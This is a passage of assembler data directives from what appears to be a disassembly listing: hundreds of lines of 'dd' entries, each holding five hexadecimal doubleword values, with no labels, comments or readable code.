		dd 0A06A251Dh, 9E95ACh,	9C63BCC5h, 853886A7h, 1A2C31Dh
		dd 90BBC480h, 3DA8D18Ch, 690EEAC8h, 6AEFB61Eh, 0A210C5E0h
		dd 0FF02BB6Fh, 15BAC862h, 69E05DC7h, 0E8004381h, 0EF98E5A1h
		dd 0CF4E6Ah, 0A76386BAh, 0D84D8A53h, 0BE2CB63Fh, 6BDC015Fh
		dd 759ECD6Dh, 131EC07Bh, 53007279h, 1F310CA3h, 3A2C3Eh
		dd 0F398FE39h, 6088F55Dh, 8005AD00h, 1FEC0379h,	1C7BF64Bh
		dd 0CC9BAF65h, 1B380A1Eh, 49612003h, 0C0131DB6h, 11862DFh
		dd 41915643h, 40A4D0EAh, 1B741A84h, 58B2C600h, 0DC2A303h
		dd 129B07D7h, 0F0EC7595h, 8C449305h, 0D90C2400h, 588DF31Eh
		dd 483E6109h, 3FD387Dh,	3920C8C6h, 0DA22018Fh, 65C117BFh
		dd 6BB98464h, 3ED088CEh, 3B742282h, 3FF60C7h, 73771444h
		dd 26F828ABh, 2400E585h, 0B0398F98h, 36938D7h, 366C1637h
		dd 8AB0F615h, 9A006EAEh, 6AB6FDA3h, 8065Fh, 582C3D75h
		dd 5EA4A1EBh, 20D71130h, 28AA566Fh, 2841A5Ah, 29D1E8F2h
		dd 5C603C9Ch, 0A601BB09h, 0C6E30FC0h, 0C1F460ABh, 0A19700B8h
		dd 0F34CCB68h, 0C3009D83h, 0FBE68536h, 2FFE7Ch,	688F6125h
		dd 10672B77h, 913FCA78h, 7638867Eh, 3D202330h, 2085DD4Fh
		dd 0C07AE2BEh, 438C2C30h, 9249B90Fh, 85DD6154h,	0FCC480B6h
		dd 9D3D03F7h, 0CAC90E64h, 132C2EA8h, 74F94Ch, 7F11354Eh
		dd 7D74Ch, 0CD1FEDB3h, 0ABCC2D03h, 0C4D8F700h, 0FDDDC6ADh
		dd 43DE0024h, 9C5153D2h, 0FA006FBDh, 0DE5DCFCh,	4F307Ah
		dd 2381D44Ch, 7275A8BCh, 0B3501D1Eh, 83935709h,	0C02DCA87h
		dd 0EC3A8248h, 3B18073Dh, 80EF3085h, 778C3FA5h,	0FB0073F0h
		dd 0A4E82048h, 6D7CDDh,	0CE476539h, 0F42F41C8h,	368D601h
		dd 0E13F5766h, 4D50CC80h, 0A9112B45h, 0B540F207h, 2057F585h
		dd 0DB8FD870h, 45300048h, 2192CDCBh, 6900E7EEh,	0A71B7168h
		dd 26A08758h, 0ED80374h, 650FBC4Fh, 0FA1FA620h,	9202FBAEh
		dd 73D3E03Bh, 4CF880FFh, 1C9C0B9Bh, 0C1EFCC65h,	78D88D4h
		dd 0A82299h, 0D350B95Ch, 136DAD27h, 0FCCC8572h,	0B04883h
		dd 39E821E9h, 3F1F48h, 0CFC41DBFh, 10A98A4h, 0DCC62624h
		dd 0FA84C200h, 909AAE2Eh, 0F6CE3D3Ch, 3D804B38h, 3B8B7BB1h
		dd 820099C7h, 0B9D1655Dh, 0EF13FD9h, 626FA636h,	0B15ABF67h
		dd 2092A737h, 0DF00E0B7h, 0D7D459B5h, 45970Ah, 0D39517D6h
		dd 0B9D50C2Eh, 0CC139D3Dh, 54210072h, 68E0F566h, 93A0146Bh
		dd 0A3009005h, 0FD9C6E4Eh, 3E78C454h, 8A9A4C0Fh, 6A1D008Fh
		dd 0BFB49Eh, 480BED70h,	0F0134BEh, 0D97C280Fh, 24DC0F6h
		dd 0F22BFEAh, 563EB1AFh, 0D719807Fh, 2CDCFD36h,	25D39400h
		dd 5FA6F569h, 0EABA2C86h, 0C05A804Ch, 0E74DF7F9h, 1D50AB02h
		dd 90A7D494h, 26B66BBCh, 897C919Dh, 0E7800D6Eh,	14615224h
		dd 17604407h, 207C6D04h, 29C83E28h, 48ADFE00h, 54D8670Dh
		dd 11DE4F00h, 645EB865h, 76E2004Eh, 5557B159h, 0FD28CB1Dh
		dd 0CEE5BCE4h, 342FB0C0h, 93D59B03h, 0D713A2CCh, 62B14D30h
		dd 5B4B0030h, 1849AA73h, 450E3E24h, 0AEAF302h, 5F1DBCEDh
		dd 96CFE2C0h, 0EDC0184h, 0BB0B158Eh, 0C29F83A1h, 9B99302Fh
		dd 0C0F19817h, 64FDD700h, 180A0h, 5EE5595Bh, 1C5CD69Fh
		dd 1F06E70Fh, 9181E776h, 0E1DBD130h, 0B8E43916h, 0CF86D080h
		dd 0B4420CE7h, 0C5889400h, 778DADAFh, 0D5BE0064h, 1029C10h
		dd 1D00931Ah, 0EBAAE49Eh, 0FA464195h, 0EC9A8Fh,	4967BBBEh
		dd 624C9A34h, 0EA20690Fh, 50A88071h, 6FDA81h, 401BB98h
		dd 5EED4F6Bh, 545CC202h, 402ED60Bh, 0BEE084h, 0D246E74h
		dd 782F23B0h, 0F3B3C300h, 8D198B40h, 64EA1D5Ch,	0FE7D81D0h
		dd 0F067D48Ah, 890F211Fh, 18AAE90Ah, 1C5E519Eh,	8F1A044Ah
		dd 9B1FF3D1h, 0A1D3A8D8h, 0FCB44CC0h, 0F7A0238h, 44E6D24Fh
		dd 0EA8084E0h, 69DA83Dh, 6855FB2h, 0E20011FCh, 8926B319h
		dd 6EEE107Dh, 73C2F87Ch
		dd 80400809h, 0F004C15h, 770AF80Eh, 505AA93h, 32385D75h
		dd 3D1808EFh, 0F408741h, 538C546h, 986730B6h, 7B10013Ch
		dd 80E5EF47h, 0D7335C0h, 0F0F4A75Bh, 3122008Ch,	94E9B645h
		dd 0B17C0AB8h, 0F9235D00h, 9704D027h, 0CE7CF5h,	8E0C4F7Bh
		dd 0EB17D9C5h, 8ED26D3Dh, 0A0B5A73Ah, 0ACF77649h, 6A7A1777h
		dd 6B5400CBh, 0B87265AEh, 6C7008E8h, 0A62BE600h, 0CF1DB396h
		dd 0ABFE008Eh, 3C936717h, 600B7BEh, 0F21A12ADh,	0CA4F41h
		dd 3088FEB9h, 6989A2D7h, 0B4670A1Dh, 2CCC0600h,	82B380h
		dd 0B8D84843h, 3C6224A9h, 0FDF2F119h, 282490DCh, 4AE5009Dh
		dd 0F3E11382h, 493AFBEDh, 219F30F0h, 4B08BCh, 0DE74B7E5h
		dd 10F85AB3h, 76A52604h, 10801B35h, 140512h, 4C17A8AAh
		dd 0EE732111h, 60BC000h, 3EC951B3h, 0FEB80C7Ah,	0EA5979D4h
		dd 5D838A00h, 52B587DEh, 0B45C01E7h, 92E16358h,	8D7070A8h
		dd 0A6BE740Ah, 465E5C3Ah, 43610EA0h, 0F38C20D5h, 30D021F1h
		dd 7D20C863h, 0A400127Fh, 136892EFh, 3BBC55h, 7159C3D1h
		dd 0FF4889E8h, 0CCE6B200h, 0DA670C3Ah, 38890EAh, 6698E16Bh
		dd 2006F1CBh, 670ED2F4h, 47D0579h, 648008h, 0BEE99E08h
		dd 0A01E30DDh, 90596913h, 2180B408h, 6EBEFCF8h,	5D4BEF5Ah
		dd 751203ACh, 4B5B1CF6h, 75809F67h, 9ED554F4h, 9DB8A001h
		dd 0F275B6FFh, 827D024h, 8BEF5158h, 88318587h, 3C602346h
		dd 51BAB1FEh, 0A33CE100h, 459422ECh, 74309278h,	7C53C89Eh
		dd 3150600Bh, 0BEC8BA07h, 0E374E907h, 0ABF6D3A9h, 21406908h
		dd 0A0BEFC80h, 4F0784C3h, 8F7C5715h, 1C8E94A3h,	803F7650h
		dd 5D70301Fh, 6F037FA2h, 729C795Fh, 0EB0CD841h,	856A03DDh
		dd 625DC95Bh, 7034FDB0h, 2F26CC00h, 97EBC59Fh, 2604E4F1h
		dd 582402h, 2570FE68h, 1607EC9Eh, 2BF1E73Ah, 0C4ED5750h
		dd 17223CE4h, 3C7D00FFh, 110C904Bh, 70397B01h, 539600CAh
		dd 0CF083BC4h, 7090046h, 0D7E72364h, 670065DEh,	0E5FB3E1Ah
		dd 0FA540h, 92120E0h, 4D36A8A1h, 16EA120Bh, 0A3F200B4h
		dd 3D9D31h, 50C8719Ch, 0CD79D790h, 6FEB7400h, 5FDD5C1Ch
		dd 0F95E1DFAh, 8D524061h, 0F6BA5D0Ah, 27B110C0h, 0E595BFh
		dd 0FB9A424Dh, 0B22D8198h, 0C603370Eh, 20498F08h, 0EE019E4Eh
		dd 5A0B0020h, 0A45FBA32h, 581C3B73h, 51376AC2h,	117004CAh
		dd 10656118h, 80E34019h, 9BE62099h, 0F25261h, 11B89883h
		dd 4497E08Fh, 0FD271A18h, 88EBC429h, 0A389853Ah, 0FE44D908h
		dd 0F7E74448h, 84D78E44h, 50EBDB22h, 44743C2Ch,	0F75AB90h
		dd 88FAB380h, 2A80E5F0h, 89451D58h, 114D0026h, 7B537DF2h
		dd 4484D003h, 360738h, 13AF3920h, 0EA797EC9h, 71326500h
		dd 68867820h, 448D0707h, 8BDFEB73h, 0A8895782h,	2D90EE82h
		dd 144553C0h, 0EBDC100h, 978FF9ACh, 0F167ADCh, 77843E68h
		dd 3B391C60h, 2B00C176h, 94DF5D25h, 0FCDB6F5Ch,	1E8600DAh
		dd 723DC7ECh, 0B000B6B9h, 533536A2h, 0FDC300Bh,	3877C0E7h
		dd 0BEDB1EA0h, 7E0A9DAh, 7BB9C300h, 0EEA71562h,	67F9008Ch
		dd 40D79E81h, 5D005472h, 71648D9Dh, 388C8D4h, 0C04F1DBCh
		dd 0BAE81F1Eh, 3E851E1h, 74F6AC00h, 0A913C64Ch,	7AC93CF9h
		dd 0C595D38Eh, 87B6E7C0h, 1E01B4FAh, 0E9AEA617h, 41C4F1CFh
		dd 318E41Dh, 620DD4F8h,	0E6D0325Fh, 1300A1E1h, 2975791Eh
		dd 0D6BD3FCh, 4EA00BB8h, 0CB3A3021h, 0FEABA100h, 0E8ADCDD2h
		dd 86B039D1h, 0BC95007Ch, 5EA87FAAh, 0B8A0DEECh, 58031B98h
		dd 0E32971D7h, 0D238F0FDh, 0BD9139Dh, 1C300062h, 711D2765h
		dd 894E733Ch, 0D84454h,	4AA6F215h, 62FF00F3h, 87E5A7F4h
		dd 0BE18A830h, 0D2119D38h, 0C06C00F6h, 8BE8ED82h, 18CCA82Ch
		dd 0F1D4EDBh, 61F4898Fh, 5FCEEF20h, 0B80002E7h,	63B7692Ah
		dd 798D2027h, 249C90BCh, 400C2CACh, 0A6F1D05Eh,	32BE7200h
		dd 0E9CA2F89h, 0E29042h, 83C48568h, 0BA7975AEh,	0E1036524h
		dd 76364106h, 0CF470010h, 0F84FC248h, 3A398951h, 0BDA10091h
		dd 557AC706h, 6ACF07F3h, 60E81895h, 48F1B6DBh, 0AE8F5900h
		dd 2722FCFAh, 122300B9h, 9A72BCBh, 700F447h, 0B0A3F554h
		dd 2FAAF69h, 0B2CB0CA1h, 0FCC0435Bh, 0DF00C619h, 0F79A6F4Bh
		dd 54231Bh, 14779424h, 9E44A6D5h, 7C5BC3Dh, 84496B89h
		dd 85A06460h, 47970077h, 0E8400C99h, 0E5007EEFh, 74173357h
		dd 128AB5h, 1908DE0Bh, 1B664AA0h, 0FD3DC303h, 88FB5143h
		dd 3BDA33CBh, 0D78081CEh, 5EE9B114h, 0BA009BC6h, 0FF603466h
		dd 0BB3F28h, 0DB2CA2C7h, 53AF19D8h, 24D42F00h, 1C47B32Bh
		dd 7A2D0056h, 39C2BE5Ah, 0A105CE04h, 0B26D4326h, 0E74111C0h
		dd 0D9540034h, 19A08B8Eh, 43000CC3h, 0B3F43CB9h, 4C6A3FEFh
		dd 7A00F2DEh, 7C5249CBh, 4C0CDADDh, 20E1B081h, 0A53900B9h
		dd 152EA9AAh, 1C00736Eh, 1F589910h, 0C8D960Dh, 3028C94Dh
		dd 3500DE88h, 0E451EA57h, 1DB9E2ADh, 0C09BAB4Ah, 383779D2h
		dd 2E8BDC8h, 48261200h,	27BADAD6h, 39B2580Eh, 0F8E1C300h
		dd 0F22FB065h, 0CC3B1102h, 80F5BFA2h, 177F958Dh, 56CA0099h
		dd 5E3654B9h, 33005FBEh, 3FC90EE9h, 0D3D9C1h, 48ED5D49h
		dd 5E2920E6h, 93942F00h, 0C0350C0Eh, 961C00AAh,	0EE0D8222h
		dd 0A5005C32h, 0F79DA183h, 0EA6DAFC4h, 23B30084h, 0FD03616Fh
		dd 0E4160647h, 0B2001D71h, 9C63189Ah, 6BD5016Dh, 0FD295636h
		dd 15E2F699h, 899DBD60h, 0EE660F00h, 2BEDF58Bh,	9360030h
		dd 0CE17DBD4h, 0E9004274h, 8E18D737h, 0E926273h, 5E527570h
		dd 8446ADE0h, 6FE4542Dh, 0E9A70B00h, 41DDF97Eh,	0A9B00075h
		dd 8529C5AEh, 0BF1210D9h, 78004374h, 0B4FBEFB6h, 0CD420E50h
		dd 1805EE2h, 0FE3F52ADh, 0A6BDF00h, 0CC5A97E7h,	18D80025h
		dd 7B0E2B08h, 0B91D8BEAh, 0C540FD6Fh, 61E8E326h, 4C0400B8h
		dd 7C373691h, 0C00CEE1h, 139DC360h, 0C4E6CDh, 0D74C868Fh
		dd 2A0F6576h, 0C0A8F348h, 0BDF6ADBFh, 0A948B2h,	48C3007Fh
		dd 0EC237D5h, 5000E6C7h, 0BF82C4F3h, 0FEC61Ah, 0BB6C950Fh
		dd 314E0672h, 2B1EA600h, 0C5F3B556h, 0CA403EACh, 62707380h
		dd 7186E9Ch, 813E9B00h,	0EB4BCCDFh, 0A7010075h,	0D3B026F5h
		dd 2F3C6514h, 7F8402C6h, 0C0C2E95Fh, 557DB0h, 823463C5h
		dd 57B4A69h, 0A541200h,	0BCC07836h, 9F1C014Bh, 0AFACE479h
		dd 0E89821A6h, 23EA7D4h, 0A2BC80A3h, 349AB107h,	0C6720005h
		dd 5CA908C9h, 0E10002C3h, 0F421E38Ch, 0D7178Dh,	0F01693F7h
		dd 0D13F2592h, 8031A50Fh, 0EAE48B8h, 1180D00Fh,	68EA76A1h
		dd 0A62A0E00h, 0D5C60905h, 12301A9h, 9A38CD15h,	804AE8E4h
		dd 59A6821Ch, 30FCBC80h, 13D17C4Fh, 12A3124h, 0F344734Ch
		dd 0A801C07Ah, 8013923Dh, 419A20D6h, 24045D48h,	46C06E9h
		dd 0D03DCBFFh, 0F20D7398h, 2D6EFC0Ah, 0FE018F50h, 0C459F615h
		dd 0EA3BACD4h, 39F20099h, 0ADA4542Eh, 7B007E92h, 0D0B24C49h
		dd 90721Bh, 4DCF9B7Ch, 0C9D5E5A0h, 7AE13400h, 80482712h
		dd 75230797h, 0FE71332Ah, 0B11C0113h, 30379EEEh, 1C002B68h
		dd 759C9527h, 0F36FBEC9h, 96DDA88Eh, 10FF3EC1h,	98D27039h
		dd 0D9406500h, 0CC4F500Fh, 42603AE0h, 16646601h, 0CCA324ABh
		dd 0BB004C83h, 0A029BC0Ch, 26A9C3h, 16593AEh, 0EFED353h
		dd 488F2E12h, 0FC275C60h, 0FE300AEh, 818956B3h,	3A0CF9C8h
		dd 90042069h, 491500F4h
		dd 0CB5E4FBDh, 0DD00A886h, 3613E2B7h, 713CD9D8h, 0D72D016Ch
		dd 0CCFA6123h, 0E53983D4h, 0D08CBB58h, 0E31483h, 0F8B737ACh
		dd 0F23F50AEh, 2DC9B48h, 7AC646E7h, 0B459604Ch,	0A6F0073h
		dd 195A3D8Ah, 0FF00DEB2h, 3F9A9E6Bh, 8EB4D4h, 2C458179h
		dd 1992E27Ch, 3B2F5501h, 5DF9220Fh, 182767E4h, 880737F0h
		dd 143AFE75h, 59FCCAB4h, 1D6AE078h, 0F6361B8h, 6D8044B7h
		dd 2FCE54BAh, 8C406C07h, 63B0D2FCh, 26656FE5h, 1EC4FD2Dh
		dd 0DC4C825Eh, 0A880505Dh, 82F72866h, 3C4A270Fh, 0D8A2843Dh
		dd 15A94C0h, 4B702490h,	9C3B8038h, 0F7ED87A6h, 5B294C00h
		dd 826FC2BBh, 0AE890068h, 0E0D8B0F3h, 898F696h,	4ED9F00h
		dd 93F2D795h, 0F1F80042h, 2699E4E5h, 7C00B780h,	79331BC7h
		dd 64E208h, 2FA43C12h, 503E9A8Fh, 48B7EF00h, 22CF4119h
		dd 24B87Dh, 0FA5C6B0Bh,	5374071Bh, 8973BBFEh, 46006077h
		dd 2C626CE4h, 0F3C731h,	0BE404B82h, 0B54902A8h,	0C84A6037h
		dd 58274330h, 267D0011h, 3294E76Eh, 7A0F12A2h, 801C5733h
		dd 8EE4BC30h, 0ECA59871h, 0A79A007Fh, 0E3497465h, 92007EBBh
		dd 0DE45CED5h, 987B781Fh, 409B1EBCh, 9410CFC5h,	0D3617342h
		dd 0D9E585h, 182B8DA8h,	0A00016C4h, 11AF5BD6h, 2FDAEE55h
		dd 585E3491h, 0EA922400h, 84B4BFh, 0A3E8C60Ch, 67778CF1h
		dd 0CCCF4Ch, 0F66FB5F3h, 0C73C157Fh, 932040D0h,	2071CE8Ch
		dd 0A5601419h, 0BDD86340h, 3F1B00FEh, 28367A27h, 4E01ED64h
		dd 9195F93Dh, 0ADC0E60Bh, 0F3F70FFEh, 8F8113F4h, 0F589B41Dh
		dd 0ED40213Dh, 550BCC5Dh, 0AE4A5038h, 0B609D0CDh, 0E0600EE7h
		dd 333B203Fh, 904960F0h, 1B1ABBBFh, 0D50BF200h,	0E8FB1494h
		dd 70F4ED93h, 22E50916h, 5C81E3ECh, 0ECD2C252h,	23D5C60h
		dd 85FB870Eh, 0BAD116DEh, 0DDD89610h, 0B895778Ah, 0DBFF0F1Ch
		dd 0E56B3946h, 88FBB080h, 0E11E23D4h, 48C4BE3Bh, 5881FA47h
		dd 35F09BB1h, 8C965031h, 449098h, 474186CEh, 703D7D6Ch
		dd 5E7FB800h, 11C85633h, 0D55D0076h, 5B0AA0D3h,	1CEA02FDh
		dd 4FA5D918h, 98F36918h, 776A01C2h, 0FD2C78BDh,	59846025h
		dd 3C024D98h, 6423B436h, 87CC8085h, 3CC0D7Dh, 279DFC5Dh
		dd 0F7D87817h, 0EC03457Ch, 0BD5552Fh, 0AF57D941h, 7BF1EB20h
		dd 13E10E7Bh, 65200545h, 0D10B7CE4h, 20E9D000h,	0EBB6946h
		dd 0B1C200B8h, 649B2A58h, 5F00B062h, 0BF97AD5Dh, 9870CBh
		dd 0B7442E88h, 0F7F6B1C5h, 2400AAEEh, 4EBCE6B6h, 3A1215A5h
		dd 4B81182Ah, 2F017E6Bh, 1AAEC441h, 0BE9DFB00h,	1BCB9867h
		dd 327C00DEh, 25330EA4h, 60003430h, 3DF9F6A1h, 289C15h
		dd 0BD5F9A87h, 93F026EDh, 74EF3A01h, 0CA200692h, 3C52E0h
		dd 0ABFA5DD2h, 850C6CD4h, 1B6263Dh, 99DB2137h, 802FAA39h
		dd 0C473DF46h, 0BEF48500h, 4502A33Eh, 302F02FDh, 0BA8C8D40h
		dd 0F2A06BC3h, 0A60091B0h, 0E5988BC0h, 679063DDh, 1022208Eh
		dd 0FA7DC951h, 27D1AC00h, 7C68C298h, 880900A9h,	0D60D9628h
		dd 0FC0351EAh, 0C99C722Ah, 50DCB0C7h, 12697BCFh, 33B1E53h
		dd 56D12856h, 4070B6A9h, 9B74DA94h, 0FEC45339h,	1BF14303h
		dd 888A1662h, 38C8679h,	6E02040Dh, 8184C1D0h, 71C7557Fh
		dd 97BBF0EFh, 0C9F03Bh,	0DC79F946h, 0C468819Eh,	880C87E0h
		dd 0F078C618h, 0B070BC00h, 5EDA4549h, 0E3F7007Fh, 4B95256Ch
		dd 2F00E21Ah, 0B8030EA1h, 0BAB9Ah, 34A83C10h, 81E35C8Eh
		dd 0E1000AEEh, 53E2D97Eh, 0DDAD92h, 0BB2A7FEDh,	30BE5A05h
		dd 60DA5700h, 505B8DBDh, 0A7280004h, 0C54FEFB8h, 0A20093A6h
		dd 0C7333CDAh, 6D5496h,	2E26EC65h, 7A512599h, 6029B74h
		dd 3C5333F3h, 89E84013h, 1F320082h, 45CFB820h, 0B90772C7h
		dd 38526214h, 752FDB90h, 302C007Ch, 5994ABFFh, 81001519h
		dd 4DFCB73Fh, 3121B63h,	0C5898BB2h, 96B05DA0h, 0D900FD70h
		dd 1DCB6C66h, 0AE64BDh,	0A36F6827h, 1E35C712h, 0BE903A1Fh
		dd 81D38B80h, 94C7C36h,	129EBF76h, 67A49403h, 40045BF9h
		dd 79EBF380h, 14193B00h, 0F5093CDBh, 8D73EFh, 7FDD3F4Bh
		dd 0A639A364h, 0BECA8C00h, 93FFF494h, 37270098h, 3610E8C3h
		dd 380083E6h, 0E4067720h, 48BB2604h, 7C004927h,	0D888327Bh
		dd 10005AF3h, 9F8939DDh, 0BBA2A9h, 27660C91h, 1D0207A3h
		dd 7BC36501h, 0E34226BDh, 7B981E4h, 0A3917F68h,	0C0F9F721h
		dd 59C9D303h, 0CD52500h, 33FE7E94h, 0E0C21D17h,	0B5A9807Ah
		dd 0B6812806h, 6C6E4C00h, 4FCDC4DFh, 61893EEEh,	0A79EDA00h
		dd 4578907Eh, 0E1ABF100h, 760D6AAh, 855A3CDFh, 87A82E3Eh
		dd 417800D0h, 63170D4Fh, 1D00C6F9h, 0E452704Bh,	7CEB6Ah
		dd 4A55627h, 77F58996h,	0F9F60528h, 3F1DD000h, 8F0EDD5Ch
		dd 288E0408h, 83F75A2Bh, 8883B12Eh, 40603Fh, 709954B7h
		dd 3EA40378h, 65313428h, 888CF980h, 9E4F2F10h, 0B40339FCh
		dd 0C3AD5356h, 0FB78D60Eh, 0D18B85C4h, 0F9E3E600h, 363435DBh
		dd 5839595Dh, 330853Ah,	2AA1E988h, 86810284h, 7C786AC7h
		dd 0F90D0880h, 0E733218Dh, 0C0EB7003h, 305B067Bh, 0FB504034h
		dd 0B17989DBh, 4D20A40Eh, 9737805Ch, 49C8C051h,	0AF0DE829h
		dd 855904F1h, 0EE7A6CE1h, 0CB291C1h, 0E0642FE8h, 1F470056h
		dd 3E1C84F7h, 240A9A49h, 0C4159E34h, 50C0C21Ch,	0BB9BD0D7h
		dd 0ECE60247h, 0F0130E2Ah, 15806760h, 0EBAA6100h, 9CDA2DC4h
		dd 0EC6300B3h, 1183B246h, 0D30E6E09h, 47BFB907h, 0D4E0F84Fh
		dd 170C58h, 49921497h, 34617BCDh, 6B002A75h, 1CC49960h
		dd 0FF973Ch, 0ABB97F72h, 0C68F6DB4h, 0CD449B1Eh, 0C9E91B00h
		dd 1C1767h, 641A097Ah, 9A548094h, 60F19E01h, 6C4F7F6Dh
		dd 0BBD2AC50h, 5AC00017h, 0F8AE0286h, 5D01B229h, 0EF3B333Eh
		dd 0C8D85C08h, 0FCD9151Fh, 0C7009C1Ah, 263B8EB6h, 0A4B8AF45h
		dd 6F185863h, 7159006Eh, 84AE3242h, 7205F29Fh, 5CED7D45h
		dd 0F9D0D400h, 1ECE4CFFh, 7B1B2C7h, 30AC6FE8h, 795F072Eh
		dd 2B0C82B0h, 516B9977h, 0E00554CEh, 459806h, 0BBF9EE1Eh
		dd 8A19AFDDh, 7D81A600h, 0AA74D732h, 244C7CB8h,	7801117h
		dd 826E9A97h, 0EB80A7FCh, 29CFC52Dh, 0BD7C770Eh, 1C8685E2h
		dd 2F3E3404h, 98B50400h, 7000AAB8h, 0A1374472h,	0C1E9B8Fh
		dd 26CE6E7Fh, 0D80BD591h, 237D0Fh, 9F4CFC03h, 0C9F8287Ah
		dd 51E43BF6h, 0E680693Ch, 9AB71558h, 932BC141h,	82F00479h
		dd 1092672Eh, 0F54C007Ah, 0CC073009h, 0C41B3607h, 4FB127E0h
		dd 31D80121h, 8634B632h, 0F325F1C6h, 30746690h,	8D16805h
		dd 2C0171E1h, 0ADB8974Eh, 6E345184h, 94C141AEh,	29BE1E3Ah
		dd 2D966B81h, 0F018FBF2h, 1F00A17Bh, 8CD45643h,	3E152DEh
		dd 3386A283h, 610C4CB1h, 0C1CC8B01h, 0D23888A4h, 59C0577Dh
		dd 2A1935DFh, 0A7073A5h, 2EC2343h, 18724770h, 0A0803D03h
		dd 0EE63A006h, 960E37C1h, 278228E8h, 0C0BF35F0h, 0D9134CBh
		dd 8D2594CDh, 9D01F881h, 5286BB3Ch, 0B7C0004Ch,	0E6905028h
		dd 7B81096h, 0F64103E4h, 1875B6Fh, 19714E29h, 9E76563Ah
		dd 3856E2A8h, 9EE62103h, 145974C2h, 0F8589782h,	0E0BA0490h
		dd 7CA1AB56h, 15F91495h, 9900E883h, 0EC881401h,	61019E1Bh
		dd 0B856300Ah, 28885C2Eh, 0F590B445h, 442B8684h, 0FA4428DCh
		dd 471948D0h, 0C088E8D7h, 0CB5D8829h, 44844D90h, 51E44C2Dh
		dd 7EAF0071h, 76A8D2D3h
		dd 9009E3Bh, 0CEA3B594h, 649F4480h, 806D20A1h, 62B4131Ah
		dd 0F96FE700h, 0F7841D67h, 573E009Eh, 99E265DFh, 0C400B21Ah
		dd 8CD75B30h, 0F6AC1001h, 0B6F30074h, 661A1939h, 1700CE89h
		dd 75FC98CBh, 14D94Fh, 0A9E174C4h, 485411E6h, 0BCA7D800h
		dd 8221E5A3h, 0F79D00B2h, 0D2154914h, 0EF02C8FAh, 7C87CFAFh
		dd 89BCA2EBh, 0A400D50Fh, 0B36EDCDDh, 3EBD1B00h, 0DED79D0Ah
		dd 1A8C0027h, 0B16C105Dh, 0B0354F5h, 0BC2041E4h, 3C899075h
		dd 943B719Fh, 19240118h, 2416F5F4h, 887FECF4h, 915CB00h
		dd 70E1DE22h, 0C21B002Dh, 0CE37B1FCh, 3C00198Ah, 0B6BCA052h
		dd 0F44523h, 0DBB3ACADh, 4ED2A6C4h, 22A3AE00h, 0F8C75A4Bh
		dd 0F5C30740h, 46FB806Bh, 0FEE2317Dh, 5DB19600h, 4C8DD726h
		dd 438918D2h, 90043872h, 9127B003h, 0E06D2EC3h,	2E7F498h
		dd 58694F88h, 0F0C3C885h, 53BD4D98h, 517B5EB0h,	64845600h
		dd 0AC9022B6h, 0B4D100DBh, 6FEAEC18h, 0B1073A03h, 0F0B7DF1Bh
		dd 0E29029D7h, 3740C8h,	0CF1DCED8h, 0CA578895h,	258CDA60h
		dd 0EA8E7Ah, 69511A91h,	0A542D1E3h, 3AC7500h, 3CA1C4F9h
		dd 46500D6h, 87EA2A85h,	68007F57h, 0A02464CAh, 0FD81D1Ch
		dd 5111D72Fh, 7C9EA5h, 56392AB4h, 0DB1E84A2h, 3009C70h
		dd 0E086986Ch, 2BF5077Fh, 0B07E524Bh, 0C49E4D05h, 0FBE2C1Ch
		dd 73A643C0h, 1CB2E2Fh,	86B502D7h, 0D4997B7Dh, 611F75BBh
		dd 0E2D8A022h, 0F438831h, 68702032h, 5A4A50C0h,	0E4840E6h
		dd 312DA024h, 32501EFDh, 0C9FF4705h, 16EBC094h,	4F02A5C6h
		dd 788DAAF5h, 0E2344815h, 45110BE9h, 6880A719h,	0A6FED24Fh
		dd 98C6AE01h, 7CF99FF8h, 7F732C24h, 0BE8A00A9h,	0ECFE7E6Fh
		dd 4B009839h, 0CC3888E1h, 5E2B95h, 0FB454CBAh, 290F55F6h
		dd 0AFFED1E4h, 48B16700h, 2BDBC098h, 0E4020095h, 16507FE5h
		dd 0CD7C23F6h, 6CCB7E03h, 90804AAEh, 790FC2Fh, 0B8A9956Fh
		dd 0BA4D50C5h, 190E0E86h, 401F3253h, 999CBE3Dh,	2E330322h
		dd 0A7E30C6Ch, 683144D0h, 0AF003578h, 8D5DFAC6h, 1B1D87B6h
		dd 294C0E53h, 0FE909690h, 8FDED300h, 0B59B04D0h, 0C941005Ah
		dd 3D5F7175h, 5E0078A7h, 12735458h, 22A07ABh, 6681E04Dh
		dd 0A460515Dh, 6C000E69h, 7449A5F9h, 231CA1h, 448FFB86h
		dd 1B28CE6Fh, 5F2220C0h, 656D7Ah, 0BF617684h, 0B3F7608Ah
		dd 0C983091Eh, 2F3F1000h, 0F2819Fh, 0C2791B6Bh,	2DCEA854h
		dd 6F032473h, 90BF7588h, 0B5B898F6h, 9D84077Ah,	70456A89h
		dd 209F4665h, 0ECBC2A51h, 540036CDh, 0E54C30ACh, 0F456C2FFh
		dd 0D2EA86h, 0D0AB4543h, 36705751h, 5AB2CE0Eh, 974AE1F5h
		dd 852191BAh, 2CD8D4h, 0B5E0154Eh, 17BB81ABh, 3C00F090h
		dd 9E98318h, 5B3F85h, 13B93984h, 1A3B240Bh, 3AF92B00h
		dd 0D3082C58h, 0BE7A33h, 990767A4h, 7F97E39Ah, 84B68518h
		dd 50FA0C29h, 4CDA9395h, 0B00019AAh, 2968674Ch,	2607FD42h
		dd 9B9A58D6h, 604F8E02h, 202C08h, 292EEC85h, 0C65507C5h
		dd 0E3F1AE00h, 0EDBB1B1Eh, 974D007Fh, 6E3D20FCh, 1F029A13h
		dd 7E33DA56h, 7E075D41h, 27CCF7B8h, 1E68C05Ah, 9B01857Ch
		dd 0B593EAD2h, 0F7D04F54h, 228F001Fh, 0A3741E48h, 360021F8h
		dd 96435EDEh, 996D61h, 23F4534Ch, 6719C49Bh, 0B6DAEA1Ch
		dd 35EBEC00h, 3AD8AEh, 0E1FE482Fh, 0BE1EBD27h, 307C9600h
		dd 694B761h, 0D0753983h, 36B6012h, 0DD19A28Ah, 17B76880h
		dd 8F54073Dh, 207D1487h, 0D55EEF28h, 64890027h,	0EAF9E78h
		dd 0C800E526h, 0C5B14972h, 35BDE19h, 38F7D398h,	0BD88EE6Ah
		dd 0B63D4474h, 83D50042h, 0D0CDA10Fh, 15E90176h, 66B1DC3Bh
		dd 0CBD8E492h, 0B24DD500h, 79CC2381h, 0D2240072h, 0E72D2716h
		dd 94000D28h, 0E5DD4A8Fh, 0F826DCF9h, 3E0E007Ch, 46921472h
		dd 60024D0h, 0D7D88319h, 1EF66B71h, 0F8C19304h,	5E89127Ah
		dd 0A07E0003h, 78CEDFAh, 20C031F0h, 3AD9A22Dh, 53BA004Eh
